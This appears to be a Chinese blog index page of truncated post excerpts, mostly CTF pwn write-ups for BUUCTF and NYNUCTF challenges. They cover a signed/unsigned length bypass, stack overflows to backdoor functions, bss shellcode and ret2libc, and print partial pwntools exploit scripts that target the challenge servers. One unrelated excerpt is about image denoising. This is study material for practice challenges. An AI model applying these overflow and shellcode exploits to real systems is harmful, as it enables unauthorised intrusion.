BUUCTF-PWN-bjdctf_2020_babystack2
BUUCTF-PWN-bjdctf_2020_babystack2checksec
IDA
有两个输入点,先输入nbytes,如果nbytes不大于10,那么可以输入buf,但buf的长度由nbytes大小决定
这题的知识点在于nbytes前后的数据类型是不同的,两个都是8位,但signed int的第一位代表正负,而unsigned int不带符号,所以可以利用这个漏洞,将可输入长度扩大到可以利用的范围,如下图:
80000010在signed int中是个负数,但在unsigned int中等于十进制的2147483664,足够我们进行溢出
此外,我们还发现一个后门函数:
EXP123456789from pwn import *p = remote('node4.buuoj.cn', 28327)payload = b'a' * (0x10 + 0x8) + p64(0x400726)p.sendlineafter('name:\n', '2147483664')p.sendlineafter(& ...
图像处理20220127
上次的工作
测试效果原图:
噪声图:
处理图:
被处理噪声个数占比60+%
本次的工作改进find_best根据一段时间对于图像降噪的经验来看,总觉得上次的处理图怪怪的,虽然确实没有了所谓1:7的噪声区域,从结果来看似乎是正常的。但还是再调试了一下,发现确实有可改进之处
改进后代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531 ...
NYNUCTF-PWN-WP
NYNUCTF-PWN-WPHello_Pwn题目描述连接方式:nc ctf.nynusec.com 端口
WP
hello_pwn2题目描述开始吧
WPIDA
read函数是明显溢出点
只要在输入时填充进足够的垃圾数据,从unk_601068一直覆盖到dword_60106C,再让dword_60106C == 1853186401 成立,就可以执行sub_400686函数
EXP123456789from pwn import *# p = process('./hello_pwn2')p = remote('ctf.nynusec.com', 28385)payload = b'a' * (0xC - 0x8) + p64(0x6E756161)p.sendlineafter('bof\n', payload)p.interactive()
pwnpwn题目描述栈
WPIDA
只要利用read函数溢出到callsystem函数就行
EXP1234567from pwn import *p ...
BUUCTF-PWN-root_me_basic_rop
BUUCTF-PWN-root_me_basic_rop这道题很简单,因此嫖了一血100分
直接上图,属于是懂得都懂了
PWNABLE-flag
PWNABLE-flag题目信息
hint直接说,进行逆向就行了,不需要打远程
checksec
看到最后一行有Packed with UPX,所以需要脱壳处理
安装UPX
脱壳
IDA脱壳前也是可以用IDA打开看的,但是没用
脱壳后:
跟踪flag变量
跟踪aUpxSoundsLikeA
flag就是以:)结尾的字符串
结果1UPX...? sounds like a delivery service :)
BUUCTF-PWN-铁人三项(第五赛区)_2018_rop
BUUCTF-PWN-铁人三项(第五赛区)_2018_ropchecksec
IDA
be_nice_to_people函数不知道在干什么,这道题好像也不需要管
vulnerable_function函数中有一个溢出点
所以这题的思路是用write函数来计算system函数和binsh的地址
EXP123456789101112131415161718192021222324252627from pwn import *from LibcSearcher import *context.log_level = 'debug'p = remote('node4.buuoj.cn', 29883)# p = process('./2018_rop')elf = ELF('./2018_rop')main_addr = elf.sym['main']print(hex(main_addr))write_plt = elf.plt['write']write_got = e ...
BUUCTF-PWN-ciscn_2019_n_5
BUUCTF-PWN-ciscn_2019_n_5checksec
IDA
name变量存在于bss段,可以先将shellcode存入name中,然后通过text溢出到name的位置,并执行shellcode
EXP12345678910111213141516from pwn import *p = remote('node4.buuoj.cn', 28183)# p = process('./ciscn_2019_n_5')context(arch='amd64', os='linux')context.log_level = 'debug'shellcode = asm(shellcraft.sh())p.sendlineafter('tell me your name\n', shellcode)payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))p.sendlineafter(' ...
BUUCTF-PWN-ciscn_2019_ne_5
BUUCTF-PWN-ciscn_2019_ne_5checksec
IDA
先让s1 == administrator越过if语句的检测
再选1,写入log,由于已经存在system函数,所以试图找到binsh的地址,但是发现binsh不存在,后来得知sh也是可以用的
然后选4,利用溢出得到shell
EXP1234567891011121314151617from pwn import *context.log_level = 'debug'p = remote('node4.buuoj.cn', 26830)elf = ELF('./ciscn_2019_ne_5')sh_addr = 0x080482eamain_addr = elf.sym['main']sys_addr = elf.sym['system']payload = flat(b'a' * (0x48 + 0x4) + p32(sys_addr) + p32(main_addr) + p32 ...